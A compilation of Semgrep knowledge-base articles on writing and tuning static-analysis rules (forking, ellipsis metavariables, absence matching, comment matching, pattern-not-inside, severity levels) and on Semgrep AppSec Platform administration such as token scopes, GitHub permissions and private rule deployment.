Change rule severity and other metadata by forking rules.
Ellipsis metavariables can help with matching multiple word tokens.
Exclude file types that generate false positives for a specific rule.
Approximate absence checks by matching a file and excluding desired content.
Use generic pattern matching mode to match comments in code files.
Implement rule patterns that include a target language's reserved words.
Understand supersession between Community and Pro rules and across products.
Follow rule and file performance principles to optimize scan times.
Change the default mode for a ruleset.
Learn how to run all available rules on your repository.
Understand how rule severity and confidence are determined.
Fix issues with `pattern-not` when excluding cases in custom rules.
Use the Semgrep rule schema in VS Code to make rule writing easier.
# Change rule severity and other metadata by forking rules
Source: https://docs.semgrep.dev/kb/rules/changing-rule-severity-and-other-metadata
To alter the severity or other metadata of a Semgrep rule, it must be forked and then updated. Forking means to copy or duplicate the rule, thereby creating your own custom version of it. Once this custom version is created, it can then be modified as needed.
**NOTE**
Only Semgrep Code and Secrets rules can be forked.
## Fork a rule
One way to create new rules is to fork an existing rule in the Semgrep Registry and modify it to meet your software and business requirements.
For example, Semgrepβs Java `crypto` ruleset prohibits the use of weak hashing algorithms `SHA-1` and `MD5`. However, your organization also prohibits the use of other hash functions as part of its standards or security compliance. The following steps illustrate the process of forking an existing `use-of-sha1` rule and changing it to forbid MD2 hashes.
Use the search bar to find relevant rules. For this example, you can search for rules using `SHA1`.
Under **java > lang > security > audit > crypto**, click **use-of-sha1** to load the rule. You cannot directly edit the rules in Semgrep Registry, so click **Fork** to make a copy.
Semgrep copies the rule to your organization's set of rules.
Edit the rule.
Update your test cases.
Click **Run** to test and validate your rule.
When you finish your changes, click **Save**.
The following example shows how [the original rule, identifying uses of `SHA-1` and `MD5`, has been modified to find uses of MD2](https://docs.oracle.com/javase/9/specs/security/standard-names.html#messagedigest-algorithms) and the severity of such findings is increased from `WARNING` to `ERROR`.
When you fork a rule, the copy is independent from the original. To run your new rule in your scans, [add it to a policy](/semgrep-code/policies#add-rules). If you want your copy to replace the rule you forked, add it to a policy, then disable the original on the Policies page.
## Changing the severity
Once you have forked the rule, you can change the [severity or other metadata](/writing-rules/rule-syntax#required) to your liking.
Then, save this custom version of the rule to your organization's rules, making it available to use within your policy as defined in Semgrep AppSec Platform.
By default, saving the rule also enables you to search for it in the [Semgrep Registry](https://semgrep.dev/r), with visibility limited to your organization.
# Matching multiple tokens with ellipsis metavariables
Source: https://docs.semgrep.dev/kb/rules/ellipsis-metavariables
Using ellipsis (`...`) to match a sequence of items (for example, arguments, statements, or fields) is one of the most common constructs in Semgrep rules. Likewise, using metavariables (\$VAR) to capture values (such as variables, functions, arguments, classes, and methods) is extremely common and powerful for tracking the use of values across a code scope.
## Introduction to ellipsis metavariables
Ellipses can be combined with metavariables to increase matching scope from a single item to a sequence of items, [while capturing the values for later re-use](/writing-rules/pattern-syntax/#ellipsis-metavariables).
Most commonly, ellipsis metavariables like `$...ARGS` are used for purposes like matching multiple arguments to a function or items in an array.
However, they can also be used to match multiple word tokens. As part of Semgrep's pattern matching, it separates the analyzed language into tokens, which are single units that make up a larger text. Some tokens, typically alphanumeric tokens, are "words", and some are word separators (like punctuation and whitespace).
Using ellipsis metavariables to match multiple word tokens is especially helpful in [Generic pattern matching mode](/writing-rules/generic-pattern-matching). Because this mode is generic, it's not aware of the semantics of any particular language, and that comes with [caveats and limitations](/writing-rules/generic-pattern-matching#caveats-and-limitations-of-generic-mode).
In generic mode, a word token that can be matched by a metavariable is defined as a sequence of characters in the set `[A-z0-9_]`. So `ABC_DEF` is one token, and a metavariable such as `$VAR` captures the entire sequence. However, `ABC-DEF` is two tokens, and a metavariable such as `$VAR` does not capture the entire sequence.
## Capturing multiple tokens with ellipsis metavariables
Not all languages you might match using generic mode share the same definition of word tokens. If you're matching patterns in one of these languages, your metavariables might not match as much of a word token as you expect. For example, in HTML, "ABC-DEF" is a single token (perhaps an `id` value).
If the language you're working with allows other characters in tokens, using ellipsis metavariables can prevent problems with metavariables matching too little of the pattern.
To match all of `ABC-DEF` in `generic` mode, use an ellipsis metavariable, like `$...VAR`. Here is an example rule:
If you remove the ellipsis in the `$...ID` variable, the second example no longer matches.
## Alternative: try the Aliengrep experiment
To address some of the limitations of generic mode, the team is experimenting with a new mode called [Aliengrep](/writing-rules/experiments/aliengrep).
With Aliengrep, you can [configure what characters are allowed as part of a word token](/writing-rules/experiments/aliengrep/#additional-word-characters-captured-by-metavariables), so that you could match the HTML example with a single metavariable. You can also [have even more fun with ellipses](/writing-rules/experiments/aliengrep/#ellipsis-).
Give it a try and share your thoughts!
# How to exclude certain file types for a particular rule
Source: https://docs.semgrep.dev/kb/rules/exclude_rule_for_certain_filetypes
Certain filetypes can generate numerous false positives and delay your triage process. This document helps you achieve a selective middle ground:
* Continue to include the file type to scan with other rules
* Reduce time spent triaging false positives
## Background
This article uses a real-life case in scanning `.svg` files. `svg` files mostly comprise a string of thousands of characters:
```
Alter the scan command to still scan for the default configuration you have, with the following changes:
ββi. Exclude the original noisy rule as articulated in the false positive reporting.
ββii. Include the new custom rule that excludes your target paths.
Thus, your original `semgrep scan` command or `semgrep ci` command can be similar to the following::
```
% semgrep scan --config=auto --config=my_custom_artifactory.yml --exclude-rule generic.secrets.security.detected-artifactory-password.detected-artifactory-password
```
# Match the absence of something in a file
Source: https://docs.semgrep.dev/kb/rules/match-absence
Currently, Semgrep does not have a clear way to match the absence of a pattern, rather than the presence of one. However, you can approximate this behavior by matching an entire file with `pattern-regex`, and excluding a file that contains the desired content with `pattern-not-regex` or other negative patterns.
Here is a simple example:
```yml theme={null}
rules:
- id: a
patterns:
- pattern-regex: |
(?s)(.*)
- pattern-not-regex: .*YOUR PATTERN TO BLOCK
message: match
languages:
- generic
severity: HIGH
```
**EXAMPLE**
Try this pattern in the [Semgrep Playground](https://semgrep.dev/playground/s/vop8).
The regular expression pattern `(?s)(.*)` uses the `s` flag to put the match in "single-line" mode, so that the dot character matches a newline. This allows `(.*)` to match multiple lines, and therefore match an entire file.
If the file contains `YOUR PATTERN TO BLOCK`, then the match is negated and the file does not appear as a finding. If the file does not contain `YOUR PATTERN TO BLOCK`, the file is flagged as a finding. With this rule, the finding spans the whole file, starting at line 1.
# Match comments with Semgrep
Source: https://docs.semgrep.dev/kb/rules/match-comments
When Semgrep rules target specific languages, they generally do not match comments in the targeted code files. Comments are not part of the semantic and syntactic structure of the document, so in most cases they are ignored.
However, it's sometimes useful to match comments. For example, comments can control the behavior of other linters, such as type checkers. You might also have certain formatting standards for comments, such as requiring that a `TODO` comment contains a ticket capturing the required work.
To match comments with Semgrep, use the `generic` language target to invoke [generic pattern matching](/writing-rules/generic-pattern-matching). (Alternatively you may use `pattern-regex` which [does file-level matching](/writing-rules/rule-syntax#pattern-regex) rather than semantic / syntactic matching, which is beyond the scope of this article.)
## Example rule
Suppose that your organization requires all `TODO` comments to have an associated Jira ticket. This rule finds TODO lines with no `atlassian.net` content and identifies any lines not containing a Jira Cloud ticket link.
```yaml theme={null}
rules:
- id: no-todo-without-jira
patterns:
- pattern: TODO $...ACTION
- pattern-not: TODO ... atlassian.net ...
options:
generic_ellipsis_max_span: 0
message: The TODO comment "$...ACTION" does not contain a Jira ticket to resolve the issue
languages:
- generic
severity: LOW
metadata:
category: best-practice
```
**NOTE**
Try this pattern in the [Semgrep Playground](https://semgrep.dev/playground/s/lBDRL).
This rule also includes the `generic_ellipsis_max_span` option, which [limits the ellipsis to matching on the same line](/writing-rules/generic-pattern-matching/#handling-line-based-input) and prevents it from over-matching in this generic context.
## Limiting the match to certain file types
If particular types of comments are only relevant for certain files, you can use the `paths:` key to limit the rule to files of that type. For example, `mypy` [type ignores](https://mypy.readthedocs.io/en/stable/error_codes.html#silencing-errors-based-on-error-codes) are only relevant in Python files.
```yaml theme={null}
...
rules:
- id: no-mypy-ignore
...
paths:
include:
- "*.py"
```
## Ignoring some comments in generic mode
It is possible to [ignore comments of particular types](/writing-rules/generic-pattern-matching#ignoring-comments) in generic mode using the `generic_comment_style` option. For example, to ignore C-style comments but match any other style:
```yaml theme={null}
rules:
- id: css-blue-is-not-allowed
pattern: |
color: blue
options:
# ignore comments of the form /* ... */
generic_comment_style: c
message: |
Blue is not allowed.
languages:
- generic
severity: LOW
```
## Additional resources
# Fix pattern parse errors when running rules
Source: https://docs.semgrep.dev/kb/rules/pattern-parse-error
When using a targeted language's reserved words in rules, you may see the following error:
```console theme={null}
[ERROR] Pattern parse error in rule
```
## Background
Each programming language has a list of reserved words that cannot be used as identifiers, such as the names of variables or functions. If you write a rule that results in the following error when run, you are triggering a reserved word conflict:
```console theme={null}
[ERROR] Pattern parse error in rule ruleName:
Invalid pattern for JavaScript:
--- pattern ---
delete
--- end pattern ---
Pattern error: Stdlib.Parsing.Parse_error
```
## Resolution
Using a reserved word in your rule leads to parsing errors, so if you see this error, determine if the words cited in the error are reserved words. If they are, you can replace your `metavariable-pattern` with `metavariable-regex`.
This substitution works because `metavariable-pattern` tries to match the pattern within the captured metavariable, which is going to be affected by how reserved keywords are parsed, while `metavariable-regex` runs a regex on the text range associated with the metavariable, ignoring how its content would be parsed and bypassing the issue.
### Example
The following rule would elicit the "\[ERROR] Pattern parse error in rule" response:
```yaml theme={null}
patterns:
- pattern-inside: app.$FUNC(...)
- pattern-not-regex: .(middleware.csrf.validate).
- metavariable-pattern:
metavariable: $FUNC
patterns:
- pattern-either:
- pattern: post=
- pattern: put
- pattern: delete
- pattern: patch
```
To fix the error, replace
```yaml theme={null}
- metavariable-pattern:
metavariable: $FUNC
```
with
```yaml theme={null}
- metavariable-regex:
metavariable: $FUNC
regex: ^(post|put|delete|patch)$
```
# Rule upgrades and supersession
Source: https://docs.semgrep.dev/kb/rules/pro-vs-community-secrets-vs-code-rules
This article describes Semgrep behavior when multiple rules match the same issue in the same code. Overlap can occur when you scan your project with Semgrep Code using similar **Pro** and **CE** rules, or when you scan your code using both **Semgrep Code** and **Semgrep Secrets**.
## Pro versus CE rules in Semgrep Code
CE rules are public, and anyone can contribute them. They use only features available in the Semgrep CE (OSS) engine.
Pro rules are authored by Semgrep. They might cover the same topics as a CE rule, but they use the Pro engine. Since the Pro engine includes advanced features, like **cross-file (interfile)** analysis, matches are often more precise. Semgrep also publishes new Pro rules that overlap older Pro rules as coverage improves.
When rules overlap, results might vary depending on which rules you run:
* If a Pro rule exists, but you run only the overlapping CE rule, you might see more false positives than you would with the Pro rule.
* If you run both the Pro and the CE rules, you might see duplicate findings for the same underlying issue.
## Identify findings from superseded rule
When more than one rule can match the same issue in the same code, Semgrep uses supersession relationships between rules to determine and recommend the preferred rule.
Semgrep uses **badges** to mark superseded rules on the **Findings** and findings' **Details** pages of AppSec Platform.
Findings from the **superseding** (preferred) rule do not show upgrade badges. Findings from a **superseded** rule may show a badge. On AppSec Platform, you can click the badge to see the rule Semgrep recommends using instead.
The following table summarizes the badges:
| Badge | Meaning |
| :----------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------- |
| Pro | The finding is from a Pro rule. This label is separate from the **Upgrade available** badge below. |
| Pro rule available | The finding is from a CE rule, but Semgrep recommends a Pro rule for this use case. |
| Upgrade available | The finding is from a Pro rule, but Semgrep recommends a different Pro rule, such as a newer or narrower rule. The finding can also show the **Pro** badge. |
## Semgrep Secrets versus Semgrep Code rules
Semgrep Code offers rules that can identify leaked credentials in source code, but Semgrep Secrets uses detection rules that include [validators](/semgrep-secrets/conceptual-overview#validate-secrets) to confirm whether the match is a real, active secret, helping reduce noise.
When a Code and Secrets rule exists for the same issue, Semgrep marks the findings from Semgrep Secrets rules as superseding the Semgrep Code rules. The supersession behavior matches the behavior outlined in [Pro versus CE rules in Semgrep Code](#pro-community-supersession).
A finding from the superseded Semgrep Code rule displays the **Secrets version available** badge.
## Upgrade rules
See [Upgrade your rules](/semgrep-secrets/getting-started#upgrade-your-rules) to see the rules you're using for which there is an upgrade in Semgrep AppSec Platform.
# Performance principles for rules and files to abide by when scanning repositories
Source: https://docs.semgrep.dev/kb/rules/rule-file-perf-principles
## Rules
The amount of time required for rules to run scales better than linearly when
adding interfile rules, which are those with `interfile: true` in the `options` key.
That is, doubling the number of interfile rules increases the runtime, but not
by double. However, some rules run faster than others, and adding a slow rule
when all the rest are fast can cause a significant slowdown.
Rules are slower if the sub-patterns, such as `pattern: <... $X ...>`, result in
a greater number of matches. When writing rules, pay special attention to the
problems raised by sub-pattern matches. The most important factor for runtime is
the time spent adding to various lists or sets.
You can benchmark your rules by adding the `--time` flag to your `semgrep scan`
command. When you use this flag, your results return with a timing summary; if
your output format is JSON, you'll see times for each rule-target pair.
## Files
Generally, the time required to scan files scales linearly with the number of
files scanned, but file size is still important. Overall, the time taken is
**time for setup work + time for matching**. For setup work, files arenβt
analyzed alone but in groups of mutually dependent files called strongly
connected components (SCCs).
The time for setup work is **number of SCCs \* time for each SCC**, where the
time for each SCC grows, in the worst case, exponentially up to certain limits
set by Semgrep. This means that making SCCs larger with more mutually dependent
files affects scan time more negatively than adding more SCCs.
The time for matching is **number of files \* time to match each file**. The time
to check each file can also grow, in the worst case, exponentially, especially
when a rule has a lot of matches in subpatterns. However, the default settings
of `--timeout 5` `--timeout-threshold 3` means that a file times out if:
* 5 seconds elapse without the match process completing
* 3 rules time out
You can configure these flags to skip long files after a shorter timeout period
or when a smaller number of rules timeout. Usually, Semgrep matches files pretty
quickly, but minified JavaScript files can cause significant performance issues.
Semgrep sets a file size limit of 1 MB for each file scanned, but you can
modify this setting using the `--max-target-bytes` flag. For example, if your
flag is `--max-target-bytes=1500000`, Semgrep ignores any larger file. You can
get a full list of files Semgrep skips by including the `--verbose` or
`--debug` flags and inspecting the output log. This information helps you
determine the feasibility of including those files and whether you should
adjust the maximum file size limit to scan such files.
# Why do new rules keep appearing in Comment or Block mode?
Source: https://docs.semgrep.dev/kb/rules/ruleset-default-mode
Semgrep AppSec Platform [Policies](/semgrep-code/policies) can contain both individual rules and **rulesets**, which are curated groups of rules recommended for particular purposes. All organizations start with two rulesets: the `default` ruleset, which is a good starter pack for security teams, and the `comment` ruleset, which is a good starter pack for developers.
As Semgrep adds new rules to improve coverage, some of these rules are also added to rulesets. If you add a ruleset to your organization's policies, any new rules added to the ruleset automatically become a part of your policies as well.
The `default` and `comment` rulesets are initially added in **Monitor** mode, where the findings generated by the rules are primarily intended for security teams to review. You can also [add new rulesets to your policies](/semgrep-code/policies#add-rulesets-to-your-policies-from-the-registry) from the Semgrep Registry.
When you add a ruleset through the registry, you can add it in any policy mode: **Monitor**, **Comment**, or **Block**. The mode you choose will determine the mode for future rules that are added to that ruleset.
Even if you later change some or all rules from a ruleset to a different mode, the default mode for the ruleset does not change. Therefore, when you add new rules to the ruleset, they are added in the original mode.
## Change the default mode for a ruleset
To change the default mode for a ruleset, follow the same process as for [adding a new ruleset to your policies](/semgrep-code/policies#add-rulesets-to-your-policies-from-the-registry) and select the desired default mode.
After adding the ruleset in the default mode, you can then [change any individual rule modes](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes) for rules that you prefer to keep in a different mode.
# Run all available rules on a repository
Source: https://docs.semgrep.dev/kb/rules/run-all-available-rules
To scan your repository with all of the rules available in the [Semgrep Registry](https://semgrep.dev/explore), navigate to the root of your repository and run:
```
semgrep --config=r/all .
```
If you are *not* logged in, `--config=r/all` runs all public rules from the Semgrep Registry, including community-authored rules.
If you are logged in, `--config=r/all` runs all public rules from the Semgrep Registry, including community-authored rules, plus:
* Your organization's private rules in the Registry, excluding unlisted private rules
* This excludes unlisted private rules
* Semgrep Pro rules, if you have a Team or Enterprise subscription
**WARNING**
Running all rules is likely to produce many findings and generate noise in the form of false positives.
## Error: "invalid configuration file found"
If you encounter the following error, there is a syntax error in one of your custom rules.
```console theme={null}
[ERROR] invalid configuration file found (1 configs were invalid)
```
To work around this error, while you correct the issues in the affected configuration file, run:
```console theme={null}
semgrep --config r/all . -d
semgrep --config ~/.semgrep/semgrep_rules.json .
```
The first command creates a cache of rules in `semgrep_rules.json` within the `.semgrep` directory in your home folder that omits the invalid rule. The second command runs a Semgrep scan using the local rule cache.
# How does Semgrep assign severity levels to rules?
Source: https://docs.semgrep.dev/kb/rules/understand-severities
All Semgrep rules have one of four severity levels: Critical, High, Medium, or Low. The levels `ERROR`, `WARNING` and `INFO` used in existing rules are older values that correspond to High, Medium, and Low, respectively.
## Semgrep Code and Secrets
For Semgrep Code and Secrets rules, the severity indicates how critical the issues are that a rule detects.
The rule author assigns the rule severity. The author's severity assignment for custom and third-party rules is the source of truth.
As a best practice, severity for Semgrep Registry rules in the `security` category should be assigned by evaluating the combination of [likelihood](/contributing/contributing-to-semgrep-rules-repository/#likelihood) and [impact](/contributing/contributing-to-semgrep-rules-repository/#impact).
## Semgrep Supply Chain
Semgrep Supply Chain rule severity reflects the score assigned to the CVE using the [Common Vulnerability Scoring System (CVSS) score](https://nvd.nist.gov/vuln-metrics/cvss), or the severity value set by the GitHub Advisory Database. For example, a vulnerability is assigned Critical if it is given a CVSS score of 9.0 or higher.
In addition to severity, Supply Chain displays an [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) for findings. The EPSS score represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
* **High**: 50 - 100%
* **Medium**: 10 - \<50%
* **Low**: \<10%
## How are confidence levels assigned to rules?
Confidence level is also set by the rule author, but it is intended to describe the rule, not the vulnerability the rule catches.
The confidence level reflects how confident the rule writer is that the rule patterns capture the vulnerability without generating too many false positive findings. The rule author manually sets the appropriate confidence level. Rules that have more targeted and detailed patterns, such as advanced taint mode rules, are typically given `HIGH` confidence.
# My rule with pattern-not doesn't work: using pattern-not-inside
Source: https://docs.semgrep.dev/kb/rules/using-pattern-not-inside
One common issue when writing custom rules involves the unsuccessful exclusion of cases using `pattern-not`.
If you are trying to exclude a specific case where a pattern is unacceptable unless it is accompanied by another pattern, try `pattern-not-inside` instead of `pattern-not`.
## Background
In Semgrep, a pattern that's inside another pattern can mean one of two things:
* The pattern is wholly within an outer pattern
* The pattern is at the same level as another pattern, but includes less code
In other words, using `pattern-not` in your rule means that Semgrep expects the matches to be the same "size" (same amount of code), and does not match if that's not the case.
## Example
The [example rule](/writing-rules/rule-ideas/#systematize-project-specific-coding-patterns) `find-unverified-transactions` is a good example: `make_transaction($T)` is acceptable only if `verify_transaction($T)` is also present.
To successfully match the target code, the rule uses `pattern` and `pattern-not`:
But this rule is redundant. Both pattern clauses contain:
```yml theme={null}
public $RETURN $METHOD(...){
...
}
```
However, if you refactor the rule by pulling the container out and using `pattern-inside`, the rule doesn't work -- [try it out](https://semgrep.dev/playground/s/KZOd?editorMode=advanced) if you like!
```yml theme={null}
rules:
- id: find-unverified-transactions-inside
patterns:
- pattern-inside: |
$RETURN $METHOD(...) {
...
}
- pattern: |
...
make_transaction($T);
...
- pattern-not: |
...
verify_transaction($T);
...
make_transaction($T);
...
```
With an understanding of how `pattern-not` operates, you can see that this rule fails because the matches are not the same size. The `pattern-not` match is at the same level, but it is "larger" (contains more code).
If you switch to `pattern-not-inside`:
```yml theme={null}
- pattern-not-inside: |
...
verify_transaction($T);
...
make_transaction($T);
...
```
The rule successfully matches the example code.
## Further information
See this video for more information about the difference between `pattern-not` and `pattern-not-inside`.
# Use the Semgrep rule schema to write rules in VS Code
Source: https://docs.semgrep.dev/kb/rules/using-semgrep-rule-schema-in-vscode
You may already be familiar with writing rules in the [Semgrep Editor](/semgrep-code/editor). However, if your IDE of choice is VS Code and you'd like to write Semgrep rules there, using the Semgrep rule schema will provide a richer editing environment, allowing VS Code to understand the shape of your rule's YAML file, including its value sets, defaults, and descriptions ([reference](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-schemas)).
**TIP**
Writing rules locally in your IDE is also helpful for iteratively testing them against an entire local repository, as opposed to just a snippet of test code.
When the schema is set up, auto-completion operates in your VS Code IDE just as it does in the Semgrep Editor when writing rules:
## Add the Semgrep rule schema in VS Code
Adding the Semgrep rule schema in VS Code requires two steps:
Install the YAML Language Support extension by Red Hat
Associate the Semgrep rule schema
### Install the YAML Language Support extension by Red Hat
You can install the "YAML" extension authored by "Red Hat" directly in VS Code or by going to the Visual Studio Marketplace and installing it from there. In VS Code, go to the **Extensions** pane and search for `yaml`. This should yield the correction extension as the top result. However, please verify that you are installing the correct extension by ensuring it is the same as [this one](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml).
### Associate the Semgrep rule schema
Once the extension is installed, associate the Semgrep rule schema with the Semgrep YAML rule definitions you are working on in VS Code using one of following methods:
1. Directly in the YAML file
2. Using `yaml.schemas` in your VS Code `settings.json` file
We recommend taking a look at the [extension overview section on associating schemas](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-schemas) to gain a preliminary understanding before proceeding.
#### Associate a schema directly in the YAML file
To associate the schema directly within a Semgrep YAML rule file, include the following line at the top of the file:
```yaml theme={null}
# yaml-language-server: $schema=https://json.schemastore.org/semgrep.json
```
The drawback to this method is that it must be done independently for each YAML rule file.
#### Associate a schema to a glob pattern via `yaml.schemas`
Before proceeding, we recommend reading the [extension overview](https://marketplace.visualstudio.com/items?itemName=redhat.vscode-yaml#associating-a-schema-to-a-glob-pattern-via-yaml.schemas) as a supplement to this article to better understand how YAML schemas are handled by the extension.
To associate the Semgrep rule schema via `yaml.schemas` in your VS Code `settings.json` file (on macOS), go to:
Code -> Settings -> Settings -> Extensions -> YAML
In the YAML extension settings, scroll down to `Yaml: Schemas` and click `Edit in settings.json`, as shown below:
This opens the `settings.json` file with an empty `yaml.schemas` object ready to be defined. For example, consider the following `yaml.schemas` definition:
```json theme={null}
"yaml.schemas": {
"https://json.schemastore.org/semgrep.json": "Downloads/semgrep_rules/*.yaml"
}
```
This associates the schema defined on the left side of the colon (`:`) with files matching the glob pattern on the right. The glob pattern matches any `.yaml` file located in a directory structure that matches `Downloads/semgrep_rules/`. The desired glob pattern differs for varying operating systems and should reflect where you are storing Semgrep YAML rule files.
After completing the configuration for `yaml.schemas`, open a Semgrep rule YAML file to verify that a notice shows at the top similar to this one:
This indicates that you've successfully associated the Semgrep rule schema with your Semgrep rule YAML file(s).
# Semgrep AppSec Platform
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform
Understand GitHub authorization and permissions.
Ensure you select the correct token scopes to avoid API 404s.
Learn how to automate private rules deployment using the Semgrep API.
Why can't I access my Semgrep organization after logging in with GitHub?
Learn why the count of dependencies differs across various pages in Semgrep AppSec Platform.
Learn how to handle externally managed environment errors when installing Semgrep, and how to install Semgrep using pipx or uv.
Understanding the FedRAMP authorization boundary for code scanning services like Semgrep.
Learn why the count of findings differs in the API and Semgrep AppSec Platform.
Learn why the count of findings differs across various pages in Semgrep AppSec Platform.
When Semgrep comments on PR or MR findings, the comments are usually posted on the line of code where the finding is identified (inline). However, there are two common reasons why comments may not appear inline.
Use this reference to check why you may not be receiving Semgrep comments on PRs or MRs.
Learn how to work around Semgrep Managed Scans not running for pull requests in GitHub merge queues.
Why are my projects showing a status of "Not yet started" after I enable Managed Scans?
Learn how to remove users from Semgrep.
How to re-run a Semgrep Managed Scan check for a pull or merge request.
Fix a SAML configuration error when an AttributeStatement is missing.
If needed, check the box to enable non-password authentication mechanisms on Semgrep AppSec Platform.
If SAML signature validation fails, check your certificate upload and information.
Learn how to set up SAML access to Semgrep AppSec Platform with Google Workspace.
Learn how to set up SAML access to Semgrep AppSec Platform with Microsoft Entra ID.
Learn to troubleshoot SAML configuration when SAML stops working.
Learn why the scan duration for a managed scan differs from the scan duration reported by a CI/CD provider.
Learn how to search for, filter for, and sort findings in Semgrep AppSec Platform.
Execute `semgrep login` correctly for customers on dedicated tenants.
Ensure that you're sending the required name and email attributes to Semgrep AppSec Platform.
Learn how to correct GitLab connection issues when enabling Semgrep Multimodal.
Learn why some findings flagged as **False positives** might still be in **Open** status.
# What does 'Act on your behalf' mean?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/act-on-your-behalf
**Act on your behalf** is a permission that GitHub requires of all third-party apps that verify a user's identity, that is, when GitHub is used as an identity provider (IdP). The actual scope of this permission is limited to what the user explicitly permits. As stated in the [GitHub documentation](https://docs.github.com/en/apps/using-github-apps/authorizing-github-apps#about-github-apps-acting-on-your-behalf):
The GitHub App can only do things that both you and the app have permission to do.
This restriction also applies to read and write permissionsβfor example, you have to explicitly grant read and write permissions on a granular level for an app to act on your behalf.
At the start of your Semgrep onboarding experience, the resource granted to Semgrep is read access to your **email address**, but Semgrep itself never acts on your behalf.
## How to detect when an app acts on your behalf
When an action is undertaken by an app on your behalf, GitHub adds a label **β with NAME\_OF\_APP app**.
In contrast, the Semgrep GitHub app performs the action it's permitted to perform as itself. It does not use your identity to perform any actions. You can see this when Semgrep posts PR comments:
## Further reading
# Web API error 404 and token scopes
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/api-404-token-scope
If you receive a 404 error from the [Semgrep Web API](/api-reference/v1/Introduction), and you are sure the deployment, API endpoint, and other details are correct, you may be trying to use a token that does not have the **Web API** scope assigned.
Semgrep AppSec Platform supports two primary token scopes: **Agent (CI)** and **Web API**. See [Token scopes](/deployment/tokens#token-scopes) for details of their permissions.
Tokens with only the **Agent (CI)** scope can connect scans with the platform to request rules, send findings, and post PR/MR comments, but they cannot use the Web API. They are intended for use locally or in CI.
## Add scopes to a token
You must be an `admin` to perform this operation. Member users cannot access tokens in the Semgrep AppSec Platform.
Log in to Semgrep AppSec Platform and navigate to [**Settings > Tokens**](https://semgrep.dev/orgs/-/settings/tokens/).
Identify the related token, and click the icon to edit the token.
Click **Web API** under **Token scopes**.
If the token does not appear in the **API Tokens** section, it is a Member-scoped CLI token whose permissions cannot be escalated. Create a new token on the Settings page instead, and make sure to check the **Web API** box.
# Automate private rules deployment using the Semgrep API
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/automate-rules-deployment
You can automate private rules deployment using the Semgrep API using the following steps:
Ensure that you've [created your private rules and published them](/writing-rules/private-rules) so that they're available to your organization.
Once you've published your rules, activate the rules by setting the rules' `policyMode` parameters using the [Update policies endpoint](/api-reference/v1/policiesservice/update-policy).
This endpoint requires you to provide the `rulePath`, which is the **Organization slug** + `.` + the **Rule ID**. You can find the **Organization slug** in Semgrep AppSec Platform under [**Settings > General > Identifiers**](https://semgrep.dev/orgs/-/settings/general/identifiers), and you can see the **Rule ID** defined in the rule's YAML file.
Example:
```text theme={null}
# sample rulePath for the Docs deployment using a private rule
docs.private-rule
```
You can also validate `rulePath` from the publish command output:
```console theme={null}
--> Uploading rules/examples/private-rule.yml (test cases: [])
> Published VisibilityState.ORG_PRIVATE rule at https://semgrep.dev/r/docs.private-rule
```
## Considerations
* The folder structure of your rules repository doesn't affect the rules published. For example, if you have two rules in `./rules/examples/`, and you publish them using `semgrep publish ./rules`, there aren't mentions of `examples` in Semgrep AppSec Platform even though it's in the repository path:
Two rules with the same ID can cause confusion, since the newer rule is the one reflected in Semgrep AppSec Platform.
* Strings in the rule ID separated by periods `.` are treated by Semgrep as labels. For example, if the rule ID is `dw3.go-xfile-sink-example`, the displayed rule name is `go-xfile-sink-example`:
Furthermore, multiple rules with similar names are distinguished by their labels, which always include the organization slug. In the following example, there are two rules with the **Rule name** `go-xfile-sink-example`, but the **Labels** are different:
* You can structure your custom rules repository as needed. However, to help manage your repository in a scalable manner, Semgrep suggests using the path structure and assigning each of your teams its own folder. Then, create a build step that incorporates some of this path data from the repository into the rule IDs' names before publishing. This way, you have labels in Semgrep AppSec Platform that include information about the origins of the rule, and the labels prevent naming conflicts that could lead to one rule overwriting another rule.
# Why can't I access my Semgrep organization after logging in with GitHub?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login
When you log in to Semgrep with GitHub authentication, you may be prompted to create a new organization instead of accessing your existing one. This typically happens when there are issues with the GitHub single sign-on (SSO) connection or when the Semgrep GitHub app installation needs to be reviewed by your GitHub administrator.
## If you aren't a Semgrep administrator
Ensure that:
1. You're logging in with the correct GitHub account.
2. You have the necessary access permissions for the GitHub organization linked to the Semgrep organization. You must be a member, *not* an outside collaborator.
If you have confirmed that you have access with your GitHub administrator, work with your Semgrep administrator to take further steps.
## If you're a GitHub *and* Semgrep administrator
Verify that the Semgrep GitHub app is installed correctly on your GitHub org:
Go to the [public Semgrep app on GitHub](https://github.com/apps/semgrep-app).
Click the **Configure** button to visit the configuration page and review the app installation. Ensure that you've granted Semgrep the requested permissions.
Try logging in to Semgrep again with your GitHub account.
# Why does the Projects page display a different dependency count from the Dependencies page?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/dependency-count-differ-platform
The **Projects** page displays the count of individual dependency entries in the latest full scan for the project. The **Dependencies** page shows only unique entries for a dependency, taking into account its lockfile and transitivity status. Dependencies that appear more than once indicate their line locations on hover.
The **Dependencies** page also [loads only the first ten dependency sources](/semgrep-supply-chain/dependency-search#view-additional-manifest-files-or-lockfiles) by default. Load additional dependency sources to see the full count.
# error: externally-managed-environment
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/error-externally-managed-environment
If your Python environment is [externally managed by a package manager](https://packaging.python.org/en/latest/specifications/externally-managed-environments/), you can't use `pip` for system-wide installations. This results in the `externally-managed-environment` when you try to use `pip` to install Semgrep.
Error message on macOS:
```bash expandable theme={null}
error: externally-managed-environment
Γ This environment is externally managed
β°β> To install Python packages system-wide, try brew install
xyz, where xyz is the package you are trying to
install.
If you wish to install a Python library that isn't in Homebrew,
use a virtual environment:
python3 -m venv path/to/venv
source path/to/venv/bin/activate
python3 -m pip install xyz
If you wish to install a Python application that isn't in Homebrew,
it may be easiest to use 'pipx install xyz', which will manage a
virtual environment for you. You can install pipx with
brew install pipx
You may restore the old behavior of pip by passing
